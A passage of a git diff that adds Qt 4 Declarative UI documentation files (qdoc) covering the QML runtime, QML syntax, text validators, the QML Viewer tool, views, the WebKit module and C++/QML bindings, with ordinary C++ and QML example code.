+ Rectangle { width: 100; height: 100; color: "red" }
+\endqml
+
+It can be loaded in a Qt application's \c main.cpp file like this:
+
+\code
+ #include <QApplication>
+ #include <QDeclarativeView>
+
+ int main(int argc, char *argv[])
+ {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("application.qml"));
+ view.show();
+
+ return app.exec();
+ }
+\endcode
+
+This creates a QWidget-based view that displays the contents of
+\c application.qml.
+
+The application's \c .pro \l{qmake Project Files}{project file} must specify
+the \c declarative module for the \c QT variable. For example:
+
+\code
+ TEMPLATE += app
+ QT += gui declarative
+ SOURCES += main.cpp
+\endcode
+
+
+\section2 Creating a QDeclarativeEngine directly
+
+If \c application.qml does not have any graphical components, or if it is
+preferred to avoid QDeclarativeView for other reasons, the QDeclarativeEngine
+can be constructed directly instead. In this case, \c application.qml is
+loaded as a QDeclarativeComponent instance rather than placed into a view:
+
+\code
+ #include <QApplication>
+ #include <QDeclarativeEngine>
+ #include <QDeclarativeContext>
+ #include <QDeclarativeComponent>
+
+ int main(int argc, char *argv[])
+ {
+ QApplication app(argc, argv);
+
+ QDeclarativeEngine engine;
+ QDeclarativeContext *objectContext = new QDeclarativeContext(engine.rootContext());
+
+ QDeclarativeComponent component(&engine, "application.qml");
+ QObject *object = component.create(objectContext);
+
+ // ... delete object and objectContext when necessary
+
+ return app.exec();
+ }
+\endcode
+
+See \l {Using QML Bindings in C++ Applications} for more information about using
+QDeclarativeEngine, QDeclarativeContext and QDeclarativeComponent, as well
+as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}.
+
+
+
+\section1 Developing and prototyping with QML Viewer
+
+The Declarative UI package includes a QML runtime tool, the \QQV, which loads
+and displays QML documents. This is useful during the application development
+phase for prototyping QML-based applications without writing your own C++
+applications to invoke the QML runtime.
+
+See the \l{QML Viewer} documentation for more details.
+
+*/
+
diff --git a/doc/src/declarative/qmlsyntax.qdoc b/doc/src/declarative/qmlsyntax.qdoc
new file mode 100644
index 00000000..8256768f
--- /dev/null
+++ b/doc/src/declarative/qmlsyntax.qdoc
@@ -0,0 +1,155 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlsyntax.html
+\title QML Syntax
+\ingroup QML Reference
+\contentspage QML Reference
+
+\tableofcontents
+
+QML is a declarative language designed to describe the user interface of a
+program: both what it looks like, and how it behaves. In QML, a user
+interface is specified as a tree of objects with properties.
+
+JavaScript is used as a scripting language in QML, so you may want
+to learn a bit more about it (\l{Javascript Guide}) before diving
+deeper into QML.
+
+\section1 Basic QML Syntax
+
+QML looks like this:
+
+\code
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "blue"
+
+ Image {
+ source: "pics/logo.png"
+ anchors.centerIn: parent
+ }
+}
+\endcode
+
+Objects are specified by their type, followed by a pair of braces. Object
+types always begin with a capital letter. In the above example, there are
+two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify
+information about the object, such as its properties.
+
+Properties are specified as \c {propertyname: value}. In the above example, we
+can see the Image has a property named \c source, which has been assigned the
+value \c "pics/logo.png". The property and its value are separated by a colon.
+
+Properties can be specified one-per-line:
+
+\code
+Rectangle {
+ width: 100
+ height: 100
+}
+\endcode
+
+or you can put multiple properties on a single line:
+
+\code
+Rectangle { width: 100; height: 100 }
+\endcode
+
+When multiple property/value pairs are specified on a single line, they
+must be separated by a semicolon.
+
+The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the
+standard \l {QML Elements}. Without this import statement, the \l Rectangle
+and \l Image elements would not be available.
+
+\section1 Expressions
+
+In addition to assigning values to properties, you can also assign
+expressions written in JavaScript.
+
+\code
+Rotation {
+ angle: 360 * 3
+}
+\endcode
+
+These expressions can include references to other objects and properties, in which case
+a \e binding is established: when the value of the expression changes, the property the
+expression has been assigned to is automatically updated to that value.
+
+\code
+Item {
+ Text {
+ id: text1
+ text: "Hello World"
+ }
+ Text {
+ id: text2
+ text: text1.text
+ }
+}
+\endcode
+
+In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed,
+\c text2 is automatically changed to the same value.
+
+Note that to refer to other objects, we use their \e id values. (See below for more
+information on the \e id property.)
+
+\section1 QML Comments
+
+Commenting in QML is similar to JavaScript.
+\list
+\o Single line comments start with // and finish at the end of the line.
+\o Multiline comments start with /* and finish with *\/
+\endlist
+
+\snippet doc/src/snippets/declarative/comments.qml 0
+
+Comments are ignored by the engine. They are useful for explaining what you
+are doing; for referring back to at a later date, or for others reading
+your QML files.
+
+Comments can also be used to prevent the execution of code, which is
+sometimes useful for tracking down problems.
+
+\code
+Text {
+ text: "Hello world!"
+ //opacity: 0.5
+}
+\endcode
+
+In the above example, the Text object will have normal opacity, since the
+line opacity: 0.5 has been turned into a comment.
+
+*/
diff --git a/doc/src/declarative/qmltexthandling.qdoc b/doc/src/declarative/qmltexthandling.qdoc
new file mode 100644
index 00000000..0bca7f73
--- /dev/null
+++ b/doc/src/declarative/qmltexthandling.qdoc
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page texthandling.html
+\title QML Text Handling and Validators
+\ingroup QML Features
+\previouspage {QML Mouse Events}{Mouse Events}
+\nextpage {Keyboard Focus in QML}{Keyboard Focus}
+\contentspage QML Features
+
+\tableofcontents
+
+\section1 Text Elements
+
+\list
+\o \l{Text}
+\o \l{TextInput}
+\o \l{TextEdit}
+\endlist
+
+\section1 Validators
+\list
+\o \l{IntValidator}
+\o \l{DoubleValidator}
+\o \l{RegExpValidator}
+\endlist
+
+\section1 Displaying Text in QML
+QML provides several elements to display text onto the screen. The \l Text
+element will display formatted text onto the screen, the \l TextEdit element
+will place a multiline line edit onto the screen, and the \l TextInput will
+place a single editable line field onto the screen.
+
+To learn more about their specific features and properties, visit their
+respective element documentation.
+
+\section1 Validating Input Text
+The \l {Validators}{validator} elements enforce the type and format of
+\l TextInput objects.
+
+\snippet doc/src/snippets/declarative/texthandling.qml int validator
+The validator elements bind to \c {TextInput}'s \c validator property.
+
+\snippet doc/src/snippets/declarative/texthandling.qml regexp validator
+The regular expression in the snippet will only allow the inputted text to be
+\c {fruit basket}.
+
+Note that QML parses JavaScript regular expressions, while Qt's
+\l {QRegExp} class' regular expressions are based on Perl regular expressions.
+
+*/
diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc
new file mode 100644
index 00000000..f94e13f1
--- /dev/null
+++ b/doc/src/declarative/qmlviewer.qdoc
@@ -0,0 +1,237 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+
+\page qmlviewer.html
+\title QML Viewer
+\ingroup qttools
+
+The Declarative UI package includes \QQV, a tool for loading QML documents that
+makes it easy to quickly develop and debug QML applications. It invokes the QML
+runtime to load QML documents and also includes additional features useful for
+the development of QML-based applications.
+
+The QML Viewer is a tool for testing and developing QML applications. It is
+\e not intended for use in a production environment and should not be used for the
+deployment of QML applications. In those cases, the QML runtime should be invoked
+from a Qt application instead; see \l {Qt Declarative UI Runtime} for more
+information.
+
+The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file
+with the viewer, run the viewer and select the file to be opened, or provide the
+file path on the command line:
+
+\code
+ qmlviewer myqmlfile.qml
+\endcode
+
+On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You
+can launch the viewer by opening the QMLViewer application from the Finder, or
+from the command line:
+
+\code
+ QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml
+\endcode
+
+The QML Viewer has a number of configuration options involving features such as
+fullscreen display, module import path configurations, video recording of QML
+animations, and OpenGL support.
+
+To see the configuration options, run \c qmlviewer with the \c -help argument.
+
+
+\section1 Adding module import paths
+
+Additional module import paths can be provided using the \c -I flag.
+For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates
+a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced
+identifier, the viewer has to be run with the \c -I flag from the example's
+base directory:
+
+\code
+qmlviewer -I . plugins.qml
+\endcode
+
+This adds the current directory to the import path so that the viewer will
+find the plugin in the \c com/nokia/TimeExample directory.
+
+Note by default, the current directory is included in the import search path,
+but namespaced modules like \c com.nokia.TimeExample are not found unless
+the path is explicitly added.
+
+
+\section1 Loading translation files
+
+When the QML Viewer loads a QML file, it installs a translation file from a
+"i18n" subdirectory relative to that initial file. This directory should contain
+translation files named "qml_<language>.qm", where <language> is a two-letter
+ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and
+an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or
+"qml_fr_CA.qm".
+
+Such files can be created using \l {Qt Linguist}.
+
+The actual translation file that is loaded depends on the system locale.
+Additionally, the viewer will load any translation files specified on the command
+line via the \c -translation option.
+
+See the \l{declarative/i18n}{QML i18n example} for an example. Also, the
+\l{scripting.html#internationalization}{Qt Internationalization} documentation
+shows how JavaScript code in QML files can be made to use translatable strings.
+
+
+\section1 Loading placeholder data with QML Viewer
+
+Often, QML applications are prototyped with fake data that is later replaced
+by real data sources from C++ plugins. QML Viewer assists in this aspect by
+loading fake data into the application context: it looks for a directory named
+"dummydata" in the same directory as the target QML file, and any \c .qml
+files in that directory are loaded as QML objects and bound to the root context
+as properties named after the files.
+
+For example, this QML document refers to a \c lottoNumbers property which does
+not actually exist within the document:
+
+\qml
+import QtQuick 1.0
+
+ListView {
+ width: 200; height: 300
+ model: lottoNumbers
+ delegate: Text { text: number }
+}
+\endqml
+
+If within the document's directory, there is a "dummydata" directory which
+contains a \c lottoNumbers.qml file like this:
+
+\qml
+import QtQuick 1.0
+
+ListModel {
+ ListElement { number: 23 }
+ ListElement { number: 44 }
+ ListElement { number: 78 }
+}
+\endqml
+
+Then this model would be automatically loaded into the ListView in the previous document.
+
+Child properties are included when loaded from dummy data. The following document
+refers to a \c clock.time property:
+
+\qml
+import QtQuick 1.0
+Text { text: clock.time }
+\endqml
+
+The text value could be filled by a \c dummydata/clock.qml file with a \c time
+property in the root context:
+
+\qml
+import QtQuick 1.0
+QtObject { property int time: 54321 }
+\endqml
+
+To replace this with real data, you can simply bind the real data object to
+the root context in C++ using QDeclarativeContext::setContextProperty(). This
+is detailed in \l {Using QML Bindings in C++ Applications}.
+
+\section1 Using the \c runtime object
+
+QML applications that are loaded with the QML Viewer have access to a special
+\c runtime property on the root context. This property provides additional
+information about the application's runtime environment through the following properties:
+
+\table
+\row
+
+\o \c runtime.isActiveWindow
+
+\o This property indicates whether the QML Viewer window is the current active
+window on the system. It is useful for "pausing" an application, particularly
+animations, when the QML Viewer loses focus or moves to the background.
+
+For example, the following animation is only played when the QML Viewer is
+the active window:
+
+\qml
+Rectangle {
+ width: 200; height: 200
+
+ ColorAnimation on color {
+ running: runtime.isActiveWindow
+ loops: Animation.Infinite
+ from: "green"; to: "blue"; duration: 2000
+ }
+}
+\endqml
+
+\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer,
+through the \c active property of the \l {QML:Qt::application}{Qt.application} object.
+
+\row
+
+\o \c runtime.orientation
+
+\o This property indicates the current orientation of the QML Viewer. On the
+N900 platform and most S60 5.0-based or newer Symbian devices, this property
+automatically updates to reflect the device's actual orientation; on other platforms,
+this indicates the orientation currently selected in the QML Viewer's
+\e {Settings -> Properties} menu. The \c orientation value can be one of the following:
+
+\list
+\o \c Orientation.Portrait
+\o \c Orientation.Landscape
+\o \c Orientation.PortraitInverted (Portrait orientation, upside-down)
+\o \c Orientation.LandscapeInverted (Landscape orientation, upside-down)
+\endlist
+
+When the viewer's orientation changes, the appearance of the loaded QML document
+does not change unless it has been set to respond to changes in
+\c runtime.orientation. For example, the following Rectangle changes its
+aspect ratio depending on the orientation of the QML Viewer:
+
+\qml
+Rectangle {
+ id: window
+ width: 640; height: 480
+
+ states: State {
+ name: "landscape"
+ PropertyChanges { target: window; width: 480; height: 640 }
+ }
+ state: (runtime.orientation == Orientation.Landscape
+ || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : ''
+}
+\endqml
+
+\endtable
+
+*/
+
diff --git a/doc/src/declarative/qmlviews.qdoc b/doc/src/declarative/qmlviews.qdoc
new file mode 100644
index 00000000..aa4be144
--- /dev/null
+++ b/doc/src/declarative/qmlviews.qdoc
@@ -0,0 +1,114 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-views.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Data Models}{Structuring Data with Models}
+\nextpage {Extending QML Functionalities using C++}
+\title Presenting Data with Views
+
+Views are containers for collections of items. They are feature-rich and can be
+customizable to meet style or behavior requirements.
+
+\keyword qml-view-elements
+A set of standard views are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{ListView} arranges items in a horizontal or vertical list
+\o \l{GridView} arranges items in a grid within the available space
+\o \l{PathView} arranges items on a path
+\o \l{WebView}{WebView} - available from the \l {QtWebKit QML Module}.
+\endlist
+Unlike other views, \l WebView is not a fully-featured view item, and needs
+to be combined with a \l Flickable item to create a view that performs like
+a Web browser.
+
+These elements have properties and behaviors exclusive to each element. Visit
+their respective documentation for more information.
+
+\section1 Models
+
+Views display \l{qml-data-models}{models} onto the screen. A model could be a simple list of \l{QML Data Models#An Integer}{integer} or a \l{qml-c++-models}{C++ model}.
+
+To assign a model to a view, bind the view's \c model property to a model.
+\snippet doc/src/snippets/declarative/listview.qml model
+\snippet doc/src/snippets/declarative/listview.qml view
+
+For more information, consult the \l {QML Data Models} article.
+
+\keyword qml-view-delegate
+\section1 View Delegates
+
+Views need a \e delegate to visually represent an item in a list. A view will
+visualize each item list according to the template defined by the delegate.
+Items in a model are accessible through the \c index property as well as the
+item's properties.
+\snippet doc/src/snippets/declarative/listview.qml delegate
+\image listview-setup.png
+
+\section1 Decorating Views
+
+Views allow visual customization through \e decoration properties such as the \c header, \c footer, and \c section properties. By binding an object, usually
+another visual object, to these properties, the views are decoratable. A footer
+may include a \l Rectangle element showcasing borders or a header that displays
+a logo on top of the list.
+
+Suppose that a specific club wants to decorate its members list with its brand
+colors. A member list is in a \c model and the \c delegate will display the
+model's content.
+\snippet doc/src/snippets/declarative/listview-decorations.qml model
+\snippet doc/src/snippets/declarative/listview-decorations.qml delegate
+
+The club may decorate the members list by binding visual objects to the
+\c header and \c footer properties. The visual object may be defined inline, in another file, or in a
+\l {Component} element.
+\snippet doc/src/snippets/declarative/listview-decorations.qml decorations
+\image listview-decorations.png
+
+\section1 ListView Sections
+
+\l {ListView} contents may be grouped into \e sections, where related list items
+are labeled according to their sections. Further, the sections may be decorated
+with \l{qml-view-delegate}{delegates}.
+
+A list may contain a list indicating people's names and the team on which team
+the person belongs.
+\snippet doc/src/snippets/declarative/listview-sections.qml model
+\snippet doc/src/snippets/declarative/listview-sections.qml delegate
+
+The ListView element has the \c section
+\l{Property Binding#Attached Properties}{attached property} that can combine
+adjacent and related elements into a section. The section's \c property
+property is for selecting which list element property to use as sections.
+The \c criteria can dictate how the section names are displayed and the
+\c delegate is similar to the views' \l {qml-view-delegate}{delegate} property.
+\snippet doc/src/snippets/declarative/listview-sections.qml section
+\image listview-section.png
+*/
diff --git a/doc/src/declarative/qmlwebkit.qdoc b/doc/src/declarative/qmlwebkit.qdoc
new file mode 100644
index 00000000..b4bb943a
--- /dev/null
+++ b/doc/src/declarative/qmlwebkit.qdoc
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlwebkit.html
+
+\title QtWebKit QML Module
+
+Qt WebKit QML
+
+\section1 WebKit QML Elements
+\list
+\o \l WebView
+\endlist
+
+\section1 QtWebKit Module
+The QtWebKit Module has a QML element, \l{WebView} for displaying web content
+from a \c URL.
+
+Import the QtWebKit module before declaring a \c WebView element:
+\snippet doc/src/snippets/declarative/webview/webview.qml import
+
+\section1 Simple Usage
+\snippet doc/src/snippets/declarative/webview/webview.qml document
+\image webview.png
+
+\sa {Models and Views: WebView Example}{WebView Example}, {QML Web Browser}
+*/
diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc
new file mode 100644
index 00000000..277f850f
--- /dev/null
+++ b/doc/src/declarative/qtbinding.qdoc
@@ -0,0 +1,669 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtbinding.html
+\ingroup qml-features
+\previouspage {Extending QML Functionalities using C++}
+\nextpage {Integrating QML Code with Existing Qt UI Code}
+\contentspage QML Features
+\title Using QML Bindings in C++ Applications
+
+QML is designed to be easily extensible to and from C++. The classes in the
+Qt Declarative module allow QML components to be loaded and manipulated from C++, and through
+Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily
+communicate through Qt signals and slots. In addition, QML plugins can be written to create
+reusable QML components for distribution.
+
+You may want to mix QML and C++ for a number of reasons. For example:
+
+\list
+\o To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or
+calling functions in a third-party C++ library)
+\o To access functionality in the Qt Declarative module (for example, to dynamically generate
+images using QDeclarativeImageProvider)
+\o To write your own QML elements (whether for your applications, or for distribution to others)
+\endlist
+
+To use the Qt Declarative module, you must include and link to the module appropriately, as shown on
+the \l {QtDeclarative}{module index page}. The \l {Qt Declarative UI Runtime} documentation
+shows how to build a basic C++ application that uses this module.
+
+
+\section1 Core module classes
+
+The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and
+embedding QML into C++ applications. There are several core classes in the Qt Declarative module
+that provide the essential capabilities for doing this. These are:
+
+\list
+\o QDeclarativeEngine: A QML engine provides the environment for executing QML code. Every
+application requires at least one engine instance.
+\o QDeclarativeComponent: A component encapsulates a \l{QML Documents}{QML document}.
+\o QDeclarativeContext: A context allows an application to expose data to the QML components
+created by an engine.
+\endlist
+
+A QDeclarativeEngine allows the configuration of global settings that apply to all of its QML
+component instances: for example, the QNetworkAccessManager to be used for network communications,
+and the file path to be used for persistent storage.
+
+QDeclarativeComponent is used to load QML documents. Each QDeclarativeComponent instance represents
+a single document. A component can be created from the URL or file path of a QML document, or the raw
+QML code of the document. Component instances are instatiated through the
+QDeclarativeComponent::create() method, like this:
+
+\code
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml"));
+QObject *rectangleInstance = component.create();
+
+// ...
+delete rectangleInstance;
+\endcode
+
+QML documents can also be loaded using QDeclarativeView. This class provides a convenient
+QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other
+methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt
+UI code}.)
+
+
+\section1 Approaches to using QML with C++
+
+There are a number of ways to extend your QML application through C++. For example, you could:
+
+\list
+\o Load a QML component and manipulate it (or its children) from C++
+\o Embed a C++ object and its properties directly into a QML component (for example, to make a
+particular C++ object callable from QML, or to replace a dummy list model with a real data set)
+\o Define new QML elements (through QObject-based C++ classes) and create them directly from your
+QML code
+\endlist
+
+These methods are shown below. Naturally these approaches are not exclusive; you can mix any of
+these methods throughout your application as appropriate.
+
+
+\section2 Loading QML Components from C++
+
+A QML document can be loaded with QDeclarativeComponent or QDeclarativeView. QDeclarativeComponent
+loads a QML component as a C++ object; QDeclarativeView also does this,
+but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading
+a displayable QML component into a QWidget-based application.
+
+For example, suppose there is a \c MyItem.qml file that looks like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end
+
+This QML document can be loaded with QDeclarativeComponent or QDeclarativeView with the following
+C++ code. Using a QDeclarativeComponent requires calling QDeclarativeComponent::create() to create
+a new instance of the component, while a QDeclarativeView automatically creates an instance of the
+component, which is accessible via QDeclarativeView::rootObject():
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-a
+\dots 0
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-b
+\o
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeView
+\endtable
+
+This \c object is the instance of the \c MyItem.qml component that has been created. You can now
+modify the item's properties using QObject::setProperty() or QDeclarativeProperty:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp properties
+
+Alternatively, you can cast the object to its actual type and call functions with compile-time
+safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the
+QDeclarativeItem class:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp cast
+
+You can also connect to any signals or call functions defined in the component using
+QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++}
+below for further details.
+
+\section3 Locating child objects
+
+QML components are essentially object trees with children that have siblings and their own children.
+Child objects of QML components can be located using the QObject::objectName property with
+QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml child
+\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end
+
+The child could be located like this:
+
+\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp findChild
+
+If \c objectName is used inside a delegate of a ListView, \l Repeater or some other
+element that creates multiple instances of its delegates, there will be multiple children with
+the same \c objectName. In this case, QObject::findChildren() can be used to find all children
+with a matching \c objectName.
+
+\warning While it is possible to use C++ to access and manipulate QML objects deep into the
+object tree, we recommend that you do not take this approach outside of application
+testing and prototyping. One strength of QML and C++ integration is the ability to implement the
+QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the
+C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult
+to, for example, swap a QML view component for another view, if the new component was missing a
+required \c objectName. It is better for the C++ implementation to know as little as possible about
+the QML user interface implementation and the composition of the QML object tree.
+
+
+\section2 Embedding C++ Objects into QML Components
+
+When loading a QML scene into a C++ application, it can be useful to directly embed C++ data into
+the QML object. QDeclarativeContext enables this by exposing data to the context of a QML
+component, allowing data to be injected from C++ into QML.
+
+For example, here is a QML item that refers to a \c currentDateTime value that does not exist in
+the current scope:
+
+\snippet doc/src/snippets/declarative/qtbinding/context/MyItem.qml 0
+
+This \c currentDateTime value can be set directly by the C++ application that loads the QML
+component, using QDeclarativeContext::setContextProperty():
+
+\snippet doc/src/snippets/declarative/qtbinding/context/main.cpp 0
+
+Context properties can hold either QVariant or QObject* values. This means custom C++ objects can
+also be injected using this approach, and these objects can be modified and read directly in QML.
+Here, we modify the above example to embed a QObject instance instead of a QDateTime value, and the QML code
+invokes a method on the object instance:
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h 0
+\codeline
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp 0
+\o
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml 0
+\endtable
+
+(Note that date/time values returned from C++ to QML can be formatted through
+\l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.)
+
+If the QML item needs to receive signals from the context property, it can connect to them using the
+\l Connections element. For example, if \c ApplicationData has a signal named \c
+dataChanged(), this signal can be connected to using an \c onDataChanged handler within
+a \l Connections object:
+
+\snippet doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml 0
+
+Context properties can be useful for using C++ based data models in a QML view. See the
+\l {declarative/modelviews/stringlistmodel}{String ListModel},
+\l {declarative/modelviews/objectlistmodel}{Object ListModel} and
+\l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for
+respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel
+in QML views.
+
+Also see the QDeclarativeContext documentation for more information.
+
+
+\section2 Defining New QML Elements
+
+While new QML elements can be \l {Defining New Components}{defined in QML}, they can also be
+defined by C++ classes; in fact, many of the core \l {QML Elements} are implemented through
+C++ classes. When you create a QML object using one of these elements, you are simply creating an
+instance of a QObject-based C++ class and setting its properties.
+
+To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly.
+You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because
+it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping).
+
+For example, here is an \c ImageViewer class with an \c image URL property:
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0
+
+Aside from the fact that it inherits QDeclarativeItem, this is an ordinary class that could
+exist outside of QML. However, once it is registered with the QML engine using qmlRegisterType():
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/main.cpp register
+
+Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlugin}{plugin} can create and manipulate
+\c ImageViewer objects:
+
+\snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0
+
+
+It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem.
+This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective.
+To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases.
+
+Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is
+a displayable item. If the item is not displayable, it can simply inherit from QObject.
+
+For more information on defining new QML elements, see the \l {Tutorial: Writing QML extensions with C++}
+{Writing QML extensions with C++} tutorial and the
+\l {Extending QML Functionalities using C++} reference documentation.
+
+
+
+\section1 Exchanging Data between QML and C++
+
+QML and C++ objects can communicate with one another through signals, slots and property
+modifications. For a C++ object, any data that is exposed to Qt's \l{The Meta-Object System}{Meta-Object System}
+- that is, properties, signals, slots and Q_INVOKABLE methods - become available to QML. On
+the QML side, all QML object data is automatically made available to the meta-object system and can
+be accessed from C++.
+
+
+\section2 Calling Functions
+
+QML functions can be called from C++ and vice-versa.
+
+All QML functions are exposed to the meta-object system and can be called using
+QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml 0
